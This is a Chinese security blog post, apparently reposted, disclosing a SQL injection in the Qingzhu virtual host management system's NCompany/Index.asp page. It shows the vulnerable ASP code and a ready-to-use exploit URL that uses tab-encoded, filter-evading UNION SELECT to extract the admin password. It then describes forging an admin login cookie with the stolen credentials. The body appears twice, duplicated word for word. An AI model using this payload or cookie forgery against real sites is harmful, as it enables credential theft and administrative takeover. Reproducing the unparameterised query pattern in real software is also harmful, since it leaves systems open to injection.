清竹虚拟主机管理系统sql注入漏洞

没穿底裤 2020年1月1日03:19:41评论336 views字数 532阅读1分46秒阅读模式
摘要

清竹虚拟主机管理系统sql注入漏洞
NCompany/Index.asp
[php]
loadfile_fromcache templatePath&"NCompany-Index.html" '加载index.html模板
TempCon=TempCon&Application("Qz_TP_"&templatePath&"NCompany-Index.html")
Id=ReStrs(Request.QueryString("Id"))//过滤不严格
Set rs=Conn.Execute("Select * From [Qz_NComPany] Where [Id]="&Id)//直接带入sql语句
Address=rs("Address")
TelInfo=rs("TelInfo")
[/php]
exp:
[php]ncompany/index.asp?id=1%09union%09%se%lect%091,2,3,4,5,adminpass,7,8,9,10,11%09from%09adminuser%09where%09id=1[/php]
构造cookie:
[php]
AdminUser = 注入得来的adminuser
PassWord = 注入得来的adminpass[/php]

清竹虚拟主机管理系统sql注入漏洞
NCompany/Index.asp
[php]
loadfile_fromcache templatePath&"NCompany-Index.html" '加载index.html模板
TempCon=TempCon&Application("Qz_TP_"&templatePath&"NCompany-Index.html")
Id=ReStrs(Request.QueryString("Id"))//过滤不严格
Set rs=Conn.Execute("Select * From [Qz_NComPany] Where [Id]="&Id)//直接带入sql语句
Address=rs("Address")
TelInfo=rs("TelInfo")
[/php]
exp:
[php]ncompany/index.asp?id=1%09union%09%se%lect%091,2,3,4,5,adminpass,7,8,9,10,11%09from%09adminuser%09where%09id=1[/php]
构造cookie:
[php]
AdminUser = 注入得来的adminuser
PassWord = 注入得来的adminpass[/php]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日03:19:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   清竹虚拟主机管理系统sql注入漏洞http://cn-sec.com/archives/75813.html

发表评论

匿名网友 填写信息